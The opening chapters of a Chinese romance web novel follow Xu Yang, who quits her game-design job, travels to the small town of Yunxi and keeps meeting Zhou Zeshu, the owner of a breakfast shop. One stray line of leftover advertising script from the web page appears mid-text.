《今天，风也晴朗》
1. chapter 1
阳春三月，天气正值回暖，宜睡觉。
房间里窗帘紧闭，一片暗沉，徐漾伸了个懒腰，眼神虚空地盯着天花板看了半晌。
她翻身够到柜上手机看了时间，19点35分。
辞职的感觉实在太爽了，困了就睡，想睡多久就睡多久，实在太爽了。
大胆说我不干了，大胆骂回去，这种感觉实在太爽了。
不必受折辱，不必受阴阳怪气。
徐漾现在回想起来刘主管那副猪肝色的表情，都忍不住给自己竖个大拇指，真好，牛啊。
大学毕业后，徐漾满怀热情进了一家游戏公司，游戏人嘛，卑微到不能再卑微的打工仔，天天加班随时待命，每天十点下班算早的了，连过个周末都要提心吊胆，在心里嬛嬛双手合十，信女愿一生吃素，只求微信千万别响。
可怜惨了。
当然，吃素不可能的。
用朋友孙语柔的话来说：“要是有天晚上发消息等到大早你都不回，我得考虑给你叫救护车了。”
徐漾有段时间为了个项目组熬到心力交猝，怀疑自己下一秒就见不到明天了。
或许是年轻，或许这个人不是别人，徐漾呢不怕苦，生活再怎么催折，她照样笑哈哈的，学会苦中作乐，早上八点起床也得搞一份豪华煎饼配豆浆，对着镜头咧嘴：hello，大家好呀。
虽然背地里骂了不少老板。
她不是矫情的人，家庭美满，赚的钱自己够花，吃喝不愁，倒也不必每天垂丧个脸，用来记录生活的vlog账号，也积累了小一万粉丝。
脚踏实地，趁年轻时候，就想与世界交手，好好奋战一番。
这个年纪的姑娘，总有用不完的劲儿。
但往往失望积攒多了，起初只是滴着水的管儿，就像被猛地开了阀门。
这个世界似乎没有绝对的公平，从出生开始，所有人就用行为昭告了这个道理。
老板压榨，背地里拿她当枪使就不提了，徐漾苦苦熬一个项目组，凭着对角色一腔热爱，再累也只是心里抱怨几句，她比所有人都勤勤恳恳，眼看势在必得，结果临到晋升还拼不过一个空降关系户，徐漾觉得这两年的努力被狗吃了。
忽然有天认清了。
这职铁辞，臭脸色是一天都不想看了。
搞得跟欠他一样，毛病！
睡饱了，满足地伸了个懒腰，开灯跳下床，正好外边敲门。
徐漾拿了外卖，先去卫生间洗了把脸。
这人一轻松，心情就爽，随机点了份牛肉米线，香惨了。
红油油的汤，配上紧实的牛肉粒，酸菜，撒上一把葱花，简直色香味俱全。
她拆开一次性用具，忍不住筷子相互摩擦了几下，手机在支架上正在播放视频，从前哪敢这么这么悠闲过。
拿勺子盛汤，给老徐播了条视频。
“心跳的声音~蹦蹦重低音~
怕铃声会停，赶快按下~通话键
拉长~耳朵，提高~警觉
神经细胞，全面戒备
你的电话绝~不漏接
ringaringaring
爱的和弦铃yeah”
“老徐！”
“漾漾吃饭啊，这是米线，好吃不？”
“好吃，你吃了没？”
“没咧，院里有事刚回来。”徐海华边举着手机，边艰难伸出另一只握着公文包和一支粉色玫瑰的手去按电梯。
“今天给妈妈送的什么花？”
“戴安娜，我也不懂，人家说叫这名儿。”
徐漾手动给优秀的徐先生比了个赞，腿盘坐在椅子上：“老徐，青青草原神曲要不然换了，感觉实在有损你在外面高大威武的形象。”
“不好听？”
“好听啊。”
“那我不换。”
徐漾很喜欢小懒这个角色，一时兴起把全家手机铃声换了一遍，每个人的曲子不同，但都是出自同一个声音，两老人家一直用到现在。
徐海华是医院院长，妈妈是文学系教授，很难想象在严肃的场合，这种铃声突然蹦出来。
厨房忙碌的苏敏一听是女儿声音，关火出来就夺了手机，要跟闺女说几句。
两口子都关心徐漾的状况，从朋友圈知道她辞职的事。
不过他们倒是想多了，她真的没什么，能吃能睡，徐漾一再表明自己没事，他们才放心下来。
当初报大学的时候就希望能够近一点，但姑娘想要往外闯一闯，他们也尊重，孩子大了就该要放手，羽翼丰满了，将来才能保护好自己。
其实他们想跟她说受委屈大不了就回来，到底是没说出口，徐漾从小到大远比他们想象的坚强，再大的委屈睡一觉，就消下去了。
但他们就是见不得自己孩子受委屈。
老徐一直说：“我闺女我惯着，脾气再坏也是我惯出来的，怎么着？更况且我闺女好着呢！”
是不是在所有父母心里自己孩子都是最好的，徐漾是的，她很知足。
有的人想要罐子里装满糖，补了一颗又一颗，想象装满了就很欢喜。
有点人只要有一颗糖果，即使玻璃罐子摇得叮当响，也能乐出声。
徐漾呢，就属于后者。
白天睡太多的下场，就是晚上巨精神。
窝在小沙发上漫无目的地刷视频，徐漾停在一则主题为“小城生活的松弛感”上。
突然之间，心念一动。
要不要出发？
反正也没事干，放假就放个有意义点的，正好可以积累点账号素材！
说走就走。
就这么决定了！
—
云溪客车站。
从飞机下来，随后在打车去临近客运站，再到云溪。
车上路途将近一小时四十分钟。
小学生春游综合症，徐漾兴奋了一整晚，后半段颠簸路途中实在忍不住睡着了。
“云溪到了啊各位！”
旁边座位大婶起身经过，手里的包包不经意间撞了撞她，徐漾恍然惊醒。
“下车了，下车了。”师傅愉快地喊，就等着换班和老婆孩子吃饭呢。
“云溪到了？”
“对啊，姑娘游客是吧。”
“对啊。”徐漾学着师傅愉快上扬的腔调。
临走之前不忘道别：“师傅辛苦啦。”
一下车，拖着行李，站定，屏息，大口吸了口气。
下午将将四点的阳光，白亮亮的，不同夏天那么耀眼，是独属于春天暖色调的鸡蛋清。
微风轻轻拂面，阳光灿烂，鸟鸣啁啾。
徐漾迫不及待横过手机对准自己：“hello，大家好呀，猜猜我到了那，桀桀桀———”
她将镜头反过来对准写着“云溪”两个大字的到站牌，又切到远处匆匆的行人，以及蓝湛湛的天空。
录好一段就收，等到时候在剪。
徐漾迫不及待打开路上订的旅店信息，边看边跟着出口方向往外走。
出租司机实在太热情了，似乎哪的都一样，人声嚷嚷，嗓子堪比大锣，远不输菜市场。
这个段拉客的车一般会高价收费。
她挨个拒绝问要不要走的师傅，好不容易穿过堵在门口的一大面“墙”。
终于松了口气。
正准备找到打车软件，忽然之间不知从哪又凭空冒出个大哥。
“姑娘去哪？我的车就在旁边，现在就能走，坐我的啊。”
“不用不用。”
“你去哪个地方，跟我说嘛，准给你送到。”
“真的不用，我刚刚打车了。”徐漾摇了摇手机，示意并不需要，自己有车来接。
“取消呗，这还要等，我现在就能走，哎真的，小姑娘是游客过来玩的吧，这路段我都熟，走走走——”
徐漾还是低估了车站门口司机师傅的威力，她的行李箱拉杆直接被抢，大叔要抓她手，把她往自己车上拖。
这哪里行，说不
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坐就不坐，冤枉钱绝不能花！
还记得大学时候第一次去外省，当时下车要去高铁站，也是一个热情似火的司机大叔，说得天花乱坠，结果她要去东站，人直接绕最远拉到西站。
好家伙，一报价两百块钱，转头还说徐漾自己没搞清楚究竟要往哪个站走。
这还不是最气人的，她票时间都过了，师傅假模假样体谅她也是可怜，这趟只收一百块钱。
？
不是，你这好人做的……
买的票废了，折腾一趟三百块飞了。
从此以后她长记性，但凡是车站门口的出租车，千万别坐！
徐漾倒抽一口气，灵光一现，在大叔要抓住她手的那一秒，捂肚子蹲下：“啊、啊……哎呦诶——”
她疼得呲牙，抬头憋气憋得脸色惨白，声音喑哑中带着半分啜泣。
“我上上个月才去医院检查，花了很多钱做的试管……你不知道我在那个家过得有多不容易，都说不坐了你还使劲拽我，要是有什么闪失……”
大叔瞬间目瞪口呆，悬在半空中的手，落也不是，不落也不是，在所有人投过来刀人谴责的目光里，另一只手僵硬中赶忙松开握着的拉杆箱。
两只手悬在空中：完了，他今天完了，也不知道这姑娘是孕妇啊。
“对不起对不起！我不是故意的！没事吧，要不要紧啊，对不住对不住！”大叔连连九十度道歉，搀老佛爷似的小心把人扶起来。
“算了，早期你也看不出来，我缓一缓就好了，车马上过来。”
网上说要想让一个人大晚上睡觉都忍不住坐起来扇自己一巴掌，就得采取一些非必要手段。
徐漾：用了，好像还挺行。
好像……又不行了。
司机大叔再不敢了，得到原谅后摸着圆溜溜光滑的脑袋赶紧溜，越想越不是。
他什么时候拽她了？！
他拽了吗？
没有吧。
一转头，那姑娘正撑着腰，面色虚弱地朝他笑了笑，仿佛体贴在说，真的没事，你放心走你的。
他有病啊！
以后再也不敢冒然拉客了。
徐漾看那辆出租车终于一溜烟开走了，微微抿开的嘴角直接咧到耳朵边，恨不得原地跳起来圈个圈。
嘿嘿网友果然诚不欺我。
刚刚还肚子痛，这会儿直接挺直腰板，雄赳赳气昂昂地拉着行李箱往前走。
活像个打了胜仗，凯旋而归的女将军。
“喂。”
身后有人突然叫住了她。
徐漾恍然回头。
“你钱包掉了。”那声音夹杂着调侃似的笑意。
刚刚在地上蹲久了，白亮亮的光线笼在瞳孔里看不真切，徐漾闭了闭眼，再次睁开。
闭眼，睁开。
街道上热闹的人声变得缓慢，逐渐平息。
那是一个长相十分好看的男人。
穿着一身黑衬衫西裤，袖子被随意推起，露出小臂线条干净而漂亮，身形笔挺还高瘦，明明与周围格格不入，那双眼睛却不由给人亲和闲适的感觉，好似蛊惑人心的妖精。
之所以能够一眼认出他，是因为他的气质太过出众，个子很高，皮肤也白。
徐漾想到了那个石化坚果，而她现在就是，她比坚果还硬。
他刚刚听到了？看到了？？？
大叔大婶看到还不要紧，关键……
丢大脸了。
徐漾紧紧抿着唇，恨不得拉住箱子撒腿就跑，腿却像被抓住一样禁锢在原地，动也不是，不动也不是。
脸红到耳朵根。
男人走过来，手缓缓抬起，指尖松开，衣兜里沉甸甸的，像被坠了一个小青果。
狭长的影子落在脚边。
“装好，别丢了。”
她又听到一阵没由来地笑。
不知是不是故意的，肯定是！
因为下一句———
“哦，还有，记得走路小心。”
2. chapter 2
徐漾到达提前预定好的民宿。
松开行李，重重摔在床上，翻滚了几圈，一顿伸胳膊叶问拳，刚刚在车上怕司机觉得她犯病，这会儿一个人终于不用压抑。
嘴皮子都被她咬红了。
真的好丢人啊。
呼叫朋友。
徐漾：[啊啊啊啊！好丢人好丢人！救命！！]
徐漾：[我要死了，要死了，勇敢一次换来内向一辈子！]
徐漾：[抓头发狂跑.jpg]
徐漾：[我哭我哭，哭哭哭！！！]
……
对方显然已经见怪不怪，等她一顿疯狂发完，了解了事情来龙去脉，刚喝进嘴里的奶茶险些笑喷。
孙语柔：[摸摸头，没事啦，反正你也跟内向没关系。]
徐漾仿佛在这头都能听到她发这句的语气：[你为什么可以发语音，嘲笑我TT]
孙语柔：[哈哈哈哈哈哈哈哈哈]
吵到我耳朵了！
话归正题，朋友敛了笑：[来，让我听听咱漾觉得特别的男人到底什么样？]
徐漾抠了抠额角。
说不出来。
怎么形容呢。
她是个很相信社交磁场的人，每个人都有属于自己的磁场，有的舒服，有的皱眉，而磁场的反应可能是肉眼看见的，可能是不依赖大脑和眼睛而感官到的，与之相比，长相则是附属品，也是加分项。
就像手机屏幕右上端显示的电池，排除干扰因素，出现红色，最终会渐趋于空格，出现灰色或绿色那么它可以继续往前。
简单理解类似于fail与pass的话题。
再或者起点线。
孙语柔半天没等来，直接问：[有照片吗？上照片，让我看看你的一块史长啥样。]
从小到大哪见过她这样，倒要看看是何方神圣。
徐漾：[……没有。]
徐漾：[什么一块史啊，那是crush！crush！你个狗屎读音！！而且我什么说是我crush呐！！！]
徐漾：[你觉得我在那么社死的情况下会拍吗TT]
苏雨柔笑得直不起腰，拍了拍胸脯，笑够了才回复她，懒得打字，干脆直接发语音。
“安啦，反正人家也不知道你叫啥名字，下回能不能遇见还是一回事，就算遇见了你请人喝瓶水，肯定忘记了，于情面也不好再提起来。”
“哎，对了，云溪好不好玩？本来想休假约你一块出去旅游的，结果你倒好，先行一步。”
刚刚脑子里全是车站的事，都没来得及好好感受，徐漾翻滚了一圈，唔，床又大又软。
在一看外面，楼下就是一条宽敞小溪，正值暖春，小雏菊还有不知名的野花长满岸边，绿油油的矮株小草，中游岸边一棵高大的野桃花树，白色花瓣漂流在潺潺溪水里。
很不错。
初印象里。
“不跟你说啦！我回头给你发照片！”
痛不欲生的某人现在迫不及待跟天地来个巨大拥抱。
一切扰心的事统统让路。
不得不说，云溪真的是一个慢节奏的地方，连风都是慢悠悠的。
桐城的风不论四季都那么张扬，冬秋尤其，能把人刮走的地步。
走出门头发必乱，碰上风强的天气，你的伞更不会完整回来。
正因为如此，徐漾被逼的不得不养成了出门必带梳子，毛毛雨干脆连伞也不打的习惯。
她很喜欢这里，带上相机看见好玩的，好看的，都想要记录下来。
鹅卵石路中间睡觉的小橘猫听见脚步声，懒懒眯了一眼，胡须动了动，舒服地继续闭起眼。
徐漾走了几步倒退回来，把手里捡得一朵喇叭花，倒扣在猫脑袋上，跟着阳光大步继续往前走。
小猫甩了甩脑袋，粉喇叭掉在爪边，它扒拉几下，又睡了。
小卖部门口大爷围在一桌。
纸牌没见过的。
长条条形状，上面还画得有水浒传角色。
徐漾站一边假装听收音机。
大爷打高昂了时不时“咿咿咿咿咿～～～诶～～诶诶～～～诶～那山哦～高～～～”伴着旋律哼唱几句。
调拐得山路十八弯还要弯。
一来一回，规则都看懂了。
“出不出啊老张？”
“哎哎哎别催别催，让我想想嘛！”
“再不出黄花菜都要凉了，哎呦，不玩了不玩了。”
“出鲁智深。”
徐漾凭一己之力力挽狂澜，成了大中大。
一桌子围坐了个姑娘，像个大仙似的腿横放在大腿上，眯眼捏了满手牌，还时不时啧啧几声。
太阳落了，果盘里的橘子瓜子也跟着一点点没了影儿。
“不玩了。”徐漾喝了最后口茶，将一次性杯子丢进垃圾桶。
“这就不玩了？咱打一把再打一把。”
“别啊，你刚那牌出太快，我还没想明白。”
“张爷爷。”徐漾抬了抬下巴，“您自个儿看，太阳从远处山腰上都跑山脚下啦，不玩了不玩了。”
大爷们都忘了时间，只好悻悻作罢，这几把牌打得过瘾，却根本不尽兴，约好了下次再战。
徐漾就这样破格加入了云溪三号路牌友团。
—
来的巧，第二天正好是赶集日。
其实市区一直热闹，只不过旧习惯已经持续了几十年。
这一天，会有许多爷爷奶奶叔叔阿姨出来摆摊，多是一些时令果蔬，或者各类海鲜虾蟹，这些东西往往要比超市新鲜便宜，云溪是个巴掌大的小城，来来往往都是熟人，砍个价儿的事。
地方虽小，像个不被窥知的桃花源。
近两年政府有意扶持旅游业，只是宣传力度做的不够，名气尚小，且景点实在不多。
徐漾拍够了素材，将手机装进帆布包里，专心逛起集市。
小摊贩围了一堆人，她好奇挤进去，地面小桌布上摆了各式样颜色的簪花，薄薄一片，看起来更像是一种古风汉服发饰。
紫色、粉色、淡蓝，玫红……
至于花嘛……
徐漾不认识，说不上来名，但不影响觉得好看。
每个下面根据繁琐程度，标价25、36、40、45，最贵不超过55。
小姐姐旁边脚边放了块小黑板，上面写着——
“好价绒花，可改胸针可定制”
“这价格可以啊，正好可以戴出去玩。”
“那个梨花的还挺好看的。”
“那个36，要的话我给您装起来！”
“欸，我要了！”
“不错不错，样式都还挺好，老板那旁边那一支还有没有多的嗦？”
……
小摊上热闹非凡，徐漾挤在前头，看得满眼亮光，越看越漂亮，心痒着也想挑几支当礼物。
后边不知是谁小声嘀咕了句：“感觉完全比不上里屿家的，有点劣质。”
“他家多贵，完全不值当，不就一个手工吗？卖那么贵跟抢钱似的。”接话那人应该是刚好认识那家。
徐漾听觉不错，蠢蠢欲动的手慢慢缩回。
小姐姐恰好转头瞥见她原先有想买的冲动，立马亲切地握着她手跟她介绍。
“宝宝你喜欢哪一个？便宜又好看，随便选！要是不买过会儿我就卖完了。”
没办法，小姐姐人实在太热情了，甚至还细细讲起怎么搭配。
关键谁能抵挡的住女孩子叫宝宝，女孩子诶！
买！
徐漾觉得自己捡了个大便宜，她没接触过这些，挺好看的。
也不觉得手工作品就不值得用心对待了，大学那会儿她有朋友是做手工的，耗时间又耗精力，每晚坐在台灯下眼睛都熬花了。
怕小姐姐吃亏，一次性还多买了几根。
今天起来的早，才将将九点钟，随意逛了逛，打算找个地方吃点东西。
徐漾随便找了个方向往里走，左拐进去，看到远处电线杆横向立牌上写着“烟兰街”三个大字。
放眼往前望去，晨间阳光穿过两道悬铃木叶子倾洒下来，树影斑驳，是那种老小巷的感觉。
卖青枣的小车停在路边，大人们拿着塑料袋挑选，小商店门口卖的有巨大的换装贴纸，小公主苏菲亚娃娃，蝴蝶风筝，风车。
彩色风车悠悠地转，蝴蝶长长的尾巴一起一扬。
各个家的炸油糍、蒸发糕、烙煎饼、煮馄饨，香到串味
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儿。
瞬间感觉饿了。
最终选了家早餐店。
这家店的名字很独特———
一家早餐店。
是她喜欢的风格。
见来新客人，服务员小哥走了过来，拿着便签本指了指墙上的单子：“您好，看一下想吃点什么？”
徐漾上下扫视一遍。
小哥热情给她推荐：“我们家汤包不错，非常建议尝一尝。”
“那就一份汤包，再加一份小馄饨。”徐漾笑着答。
“得了，马上就来！”
小哥刚要走，瞥见她低丸子头后簪得一支绒花固定，面色捎顿了片刻，还是忍不住问一嘴：“簪子是惠民超市旁边买的吗？”
徐漾以为他感兴趣，想送给女朋友，反正买了四五支，从包里大气翻出来。
“对，你有没有想要，我刚刚买了很多，随便挑，送你一支。”
“不用不用。”
人还不好意思了。
啧啧，小男生，算了算了。
等餐时间无聊，她反过身举起相机，将镜头对准街道，由下往上一点点移动。
背着书包蹦蹦跳跳的小孩，卖气球的阿姨，屋檐上的紫藤萝，早间的缕缕炊烟……
镜头在稍稍往下。
那张熟悉的脸倏然再一次闯入视线。
徐漾支着椅子后腿一歪，因为重心不稳，眼看整个人连带椅子要栽下去。
却蓦地一只骨节分明的手及时将她托住。
“坐稳了。”
她吞咽了咽，略显有些傻气：“谢谢……”
脑子短暂忘了思考，空白一片，她觉得自己运气也是……到了无法言说的地位。
有点想撞墙。
不可能装不认识，情急之下，徐漾僵硬咧嘴一笑，忽然问：“好巧，你也来吃早餐？”
周泽树望向她的眼神有些莫测，不轻不重地嗯了声，绻着淡淡地笑。
徐漾当然知道他什么意思。
她好像在问一句空话。
来早餐店不吃早餐，还能干嘛？
周泽树觉得这姑娘真有意思，视线瞥到她指甲紧抠着椅子角，椅子都要抠掉渣了，紧张的要死，偏偏脖子一哽。
“哇塞，那正好，一回生二回熟啊，你有什么想吃的我请你！”
……
绝不让自己陷入被动的局面。
只要脑子不想，一切就可以当作没发生，硬着头发也要把所有出得丑用网子扑捉住，统统灌进瓶子，在一脚踹回海里。
深呼口气，平静，平静。
她几乎是一眼注意到他胸前别的一只胸针，造型类似竹叶，温柔而优雅，灵动而不生硬，青绿白三色渐变，饱和度偏低，边沿做了掐丝处理，十分精致漂亮。
相比之下，刚刚收的五支簪子，就很明显对比出来，丝线材质以及处理方法都较为逊色。
“你是本地人吗？”
“嗯。”
“我来云溪玩的，我叫徐漾，徐州的徐，荡漾的漾。”
“既然是本地人，昨天为什么会在站外车群里看到你？”
“来接个人。”
“那也是来旅游的？你是司机吗？也是来车站揽客的？来找我的第一个师傅说去民宿有段路最近在施工，必要要绕路处理，结果我在手机上打的车，明明一路直行，你们揽生意都用这招吗？”
她打开话匣子，小嘴叭叭个不停，之前的紧张早就不见，肩膀松泛下来。
周泽树真要气笑了。
不仅多了个身份不说，好一口锅凭白无故从天上掉下来。
他倒了杯水进杯子里，洗出副筷子递给她。
抬眼稍稍扬了扬眉，反问语气：“我这么像骗子？”
“噢噢噢，你肯定不跟他们一伙。”
话里有歧义，徐漾赶忙改口：“你肯定不是……”肯定不是骗子司机。
还没说完，恰好这时，服务员小哥端餐从后厨走出来，瞧到熟悉的背影，惊喜道：“老板你今早怎么亲自来了！”
？
？？？
徐漾瞪大眼睛，在周泽树含笑的视线里，一点点缩成了鹌鹑。
她再也不说话了。
多嘴的人是小狗！
3. chapter 3
本来想请吃个早餐，结果到头来人家竟是老板。
她刚刚还以为他是司机来着。
徐漾柱着胳膊，头埋进臂弯里，偏过头去，脸皮发烫，她都有点不想出来。
忽听到一声很浅的轻笑，好似飘在空中要飞走逃窜的气球，就这样被人毫不费劲伸手抓住。
周泽树手指闲敲了两下桌子。
服务员小张没事了，欣喜过来问怎么亲自过来，他还打算一会儿送去。
“不用，你把另一份打包好就行。”
“OK。”
“小张，三号桌的葱油拌好了！”后厨里荷奶奶喊。
“诶！来了来了！”张超没说到两句，着急忙慌将端在手里的小蒸屉放下，朝徐漾说：“您点的汤包慢用，剩下的稍后就来。”
急急匆匆走了。
“不尝尝？”
徐漾呼口气，坐直身子抬起头来，朝周泽树扯出来一个僵硬的笑。
“对不起。”徐漾觉得还挺不好意思的，抿了下唇，又低头跟他道歉，“不好意思。”
“道什么歉啊。”周泽树在心里笑了一声，他还以为把人吓着了。
结果这姑娘瞬间扬起脸，像怏掉的向日葵重新见了太阳，脸上洋溢着喜悦：“你没多想就好，总之我不是那个意思。”
“我知道。”
她就纯闲不下来，这不，又开始打听起他名字了：“对了，老板你还没有跟我说你的名字？”
这称呼倒用上了。
“周泽树。”
徐漾在心里轻轻读两遍，眼睛弯了弯，还挺好听。
她今天穿了条白色小长裙，外边随便敞开套了件薄荷色宽松衬衫，簪了个低丸子头。
早春的阳光落在她半边身上，头发在阳光下毛茸茸的。
她夹了枚汤包放碟子里撑开，吹了又吹，确定不烫了，沾上辣椒酱咬了一大口，眼睛一瞬发亮，是对美食的高度认可。
“周泽树，你家汤包超好吃！”说完手动比了个赞。
他笑着：“这样啊。”
“对，皮薄肉厚，味道超足，比我在桐城吃的还要好吃，还有这个蘸料味道超特别，超级香。”
这家店的蘸料不像别处桌上自己摆了辣椒酱和醋，是出餐的时候用小瓷碟装好的，由厨房精心密调，不外露。
这一串溜“超”字倒豆子似的往出蹦。
“老太太做的，你要是喜欢多来给她捧个场。”
“好！”
周泽树险少碰见喜怒这样明明白白挂在脸上的人，随口问：“怎么想着来云溪旅游了？”
这座小城在周泽树眼里，没什么特别的，说起景点，少得可怜，都是些无聊的地儿，网上的照片也是经过滤镜高修，没多大意思，对于像她这种待惯了桐城这样灯红酒绿的一线城市，真称得上无聊。
就算是受够了喧嚣和忙碌，高唱着要自由，有多少人满怀期待来了，又受不住寂寞走了。
选几张照片再配上一两句网络文案，营造一个精装朋友圈，就可以挥挥手提前道别。
说到底把人养躁了，心再难静下来。
不出意料。
“网上刷到相关短视频就一个人过来了，正好花一个月时间出来散心。”
“失恋？”
“怎么可能，牛马不配谈恋爱。”
“那就是没有男朋友？”
徐漾不轻不重地嗯了声，心口有些燥，今天衣服穿多了。
小张端来她点的另一份小馄饨和周泽树的那份。
他自己那副筷子没洗：“下次要是在外地有人问你，有没有同行就说有，有没有男友也要说有。”
“嗯？”
周泽树抬眸望她一眼，徐漾从茫然中醒神瞬间懂了，慌忙回道：“噢噢，我明白了。”
他是教她多留个心眼。
徐漾总觉得他刚刚看她那眼，有些长辈式的无奈，像看一个小妹妹。
明明年纪也没多大，顶多就比他大个几岁而已嘛。
他的上下眼睑呈波浪形，是典型的桃花眼，眼尾有一点点上扬，看人时总是下意识里眼尾波动。
这年头流行物塑，徐漾觉得他八折是只狐狸。
—
这顿早饭是周泽树请的，没花钱。
她有点不好意思，本来之前说好她要请客，结果人家是店里老板。
罢了罢了，没必要扭捏。
一家早餐店只开到早上十点半，十点半之后就关门。
徐漾当真连续去了好几天，不过都没见到周泽树，只有店员小张和阿婆。
店里每一样早餐特供她差不多尝了个遍，最喜欢的还是老人家做的汤包。
有时候碰到早上人多，要排好长的队伍，屋里几张桌子都坐不下。
但店里的传统就是不管多少人，十点半准时歇业。
不以营业为目的，更像是老人家用来打发时间。
张超对她说，“一家早餐店”是大老板亲自给奶奶开的，老人家辛苦了一辈子，干了一辈子的活，老了反倒是在家坐不安然，好几次瞒着老板悄悄跑街上找些事做，周泽树无奈便给荷奶奶开了这家店，怕她太辛苦，所以只准早上营业。
“原来这样呀。”
“那他经常过来吗？”徐漾顺嘴问。
“一般不，大多是我顺便带过去。”
说话间，荷奶奶端了一碟枣糕，笑眯眯地说：“随便做了一点，你们帮我尝尝，看看味口怎么样？”
“哎，谢谢奶奶。”
徐漾经常过来，早就已经熟悉，是今天歇店前最后一位客人。
划开的小正方形枣糕，上面点缀着白色芝麻粒，香软蓬松，口感绵密，甜度也恰到其分，有很浓的枣香味。
“奶奶你手艺好棒，好吃的！”
张超几口解决掉，又拿了第二块，嘴里还鼓囊囊地，含糊不清跟着发了个好吃的音，神情一变，连忙垂胸口，摸到桌边的水壶给自己倒水，差点噎到，结果喘了口气说：“我也觉得。”憨头憨脑的样把两人逗笑了。
荷奶奶年轻时太累，腰已经不太直了，微微有些佝偻，一头灰白发，笑容慈祥和蔼。
她胸前也别了一支绒花，淡紫色显得整个人极为优雅。
明明也不是很了解，可徐漾还是一眼就分辨出来这和上次在周泽树身上看到的是同一家，她不敢确定到底对不对，但就是强烈的感觉。
“奶奶你的胸针好漂亮。”
老人家听闻，低头看看胸前，慈爱地笑着摸了摸，眼里满是喜爱，仿佛那是珍宝，是一种比夸赞自己还要欣慰的高兴。
张超扬起下巴，巨骄傲：“这个是里屿家的，在我们这特出名。”出名两个字咬得很重。
他就像打广告一样：“超好看，小徐姐你来这边一定要去逛逛，可以进去打卡。”
“好啊。”
……'');(window.adbyunion = window.adbyunion || []).push(id);})();
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本来计划要给粉丝直播看日出的，结果云溪突然连下了两天的雨，计划泡汤，只能往后推延。
徐漾待在民宿里，哪儿也去不了。
期间公司那边主管打来电话，称是游戏新一期主题，有老玩家发现“卓一”这期人物风格与往期形象不符，在官博下吐槽。
“跟我有什么关系？”
这是一款群像探险类手戏，“卓一”并不是主角人物，仅仅只是小伙伴中的一员，但她的热度却持续攀升仅此于主角之下，颇受玩家喜爱，而这个角色皮下完全是由徐漾负责策划的。
本来公司见角色热度上去了，召开会议有意决定开设地图将“卓一”人物背景适当丰富，但没想到接替徐漾位置的人反而弄巧成拙，违背了人设特点。
这趟电话目的显而易见。
“小漾啊，当初是我们考虑不周，你的业务水平我们还是非常认可的，如果你能回来……”
“不可能。”徐漾直接回绝，“我不会回去了。”
“就算得到补偿。”她很痛快地答。
已经铁了心辞职，绝不反悔。
那些平白无故的针对，私下的小话，受到的不公平待遇，如果只是因为重新考虑到她的利用价值，而软化的话，她不接受。
真的能做到完全不插手吗？徐漾在心里无数次诘问自己。
“卓一”这个人物是她和美术组全程负责的，里面注入无数个白天与夜晚的心血，是在她一点点填充下长出的灵魂和血肉。
完全不在乎是不可能的。
徐漾躺在床上，睁着眼睛望着洁白的天花板，觉得有些酸涩，眨了眨眼睛。
她翻身下床，抹了把眼泪，去小茶几上打开电脑，将整个游戏人物单支走向，以及模拟设定的剧情故事发送出去。
房间里寂静一片，徐漾沉默地盯着茶盏里白蓝色的扩香石，表情呆滞。
即使再生气，再愤怒，却还是没有办法。
手机震动发响，是一条高额转账信息。
大抵是对方良心不安。
春日晚上，没有虫鸣，雨势渐渐小去，轻嗒嗒地敲打着树叶。
徐漾捞过手机，拇指痛快下落，点了收款。
为什么不收？这是她该有的劳动报酬，谁跟钱过去。
她还不至于清高到给对方白嫖，但，就是有那么一点点难过，好像彻底不相关了。
金钱好像交换了“卓一”的一切。
夜晚势必要将整个人吞没，徐漾知道自己注定睡不着，换上衣服，去了最近的一家小酒馆。
是她前几天就收藏好了的，网上评价很高，运气不错会赶上乐队表演。
黑夜那么长，就不该被耗着。
可惜她运气并不好，来时那支乐队正好在唱今天最后一首歌，已经到了收尾，只听了几句就结束了。
更糟糕了。
情绪莫名窜上来。
徐漾侧头趴在吧台上，盯了一会儿杯子里雾蒙蒙的酒水，忽然鼻头一酸。
她也不知道怎么了。
错过就错过了。
有什么好难过的，太没出息了。
一罐红色包装牛奶忽出现在自己眼前，咧嘴大大傻笑的面正对着她。
按着罐身的指骨微微曲着，青筋凸显，食指最上方的指背处瓷白的皮肤里有一尾黑色鲸鱼。
徐漾吸了吸鼻子，自下而上抬头望去。
“要喝么？”
4. chapter 4
周泽树睡眠质量一向不太好，经常性失眠，今夜被窗外淅淅沥沥的雨声直接扰醒，再难以入眠。
房间门没关紧，七饼嘴筒子搭在窝沿上睡得正香，地上躺着一只脏兮兮的萝卜玩偶，也不知道它什么时候把自己窝叼进来的，这家伙贼的很。
七饼是他养的一只柯基，捡回来那天也是一个雨天，正好初七，秋雨寒绵，毛发又湿又脏，它浑身发着抖，看样子已经走丢许多天了，周泽树见它可怜带回来收拾干净。
柯基著名的玻璃胃，估计是流浪期间不得以翻垃圾桶找吃的，病怏怏的，回来又吐又泄，还毁坏了一处沙发，周泽树衣服都没来得及换，大半夜急匆匆带去医院。
修了工作，持续照顾调理了好一阵子，这才好起来。
他怔盯了一阵玻璃，雨滴接二连三滚落，成丝成线，窗外世界模糊，雾朦朦的。
那线不知怎么好像变成了圈，层层叠叠，伸了爪子要把人彻底吸进去。
周泽树撇开眼。
良久，起身下床，八饼大耳朵动了动，敏锐抬头。
“乖，睡你的。”
安抚性地顺了顺狗毛，捡起地上被玩得脏兮兮的萝卜，连同一堆已经不像样的玩具，一起装去浴室。
半夜不睡觉，把所有玩具都搓了遍，也是没谁了。
八饼没有再继续睡，似乎担心什么，离他不远的地方趴着。
不知不觉雨已经停了，依旧没有想睡的欲望，中途被吵醒，再睡得可能性几乎很小，或者为零。
周泽树站在阳台，空气中是清新、纯净的味道，夹杂着一丝雨后的玉兰花香。
干脆拿了件外套出门。
好友经营了一家酒馆，赶巧碰到乐队还没散场，就算是深夜，依旧不缺未归的人。
店内唱着舒缓的情歌，与外面空荡荡的街头是两个世界。
雨后昏沉的那面，似是世界末日。
走到那里头，会怎么？被吸走吗？
“咋样？”好友手搭在他肩上，抬了抬下巴，示意自己新合作的一批乐队。
“还不错。”
“我也觉得还可以。”
“要不我聘用你，给高倍价格？我这随时给你留着位置的。”
“行啊。”周泽树勾了勾唇。
“可别，你现在身份贵着呢，给不起给不起。”
服务员找来有点事，好友告诉周泽树有什么需要的，随便跟前台报，自己忙完再过来。
周泽树独自坐卡座里，听了几首歌，正好乐队演出结束。
其实他听得并不认真，纯粹打发时间。
再待了会儿，时间离天亮还早，忽觉得没意思，发了条消息，先走了。
刚要起身，注意到吧台趴着一个熟悉的身影。
女生穿短款蓝色薄毛衣，因为这个姿势，露了小半截白皙细腻的腰肢。
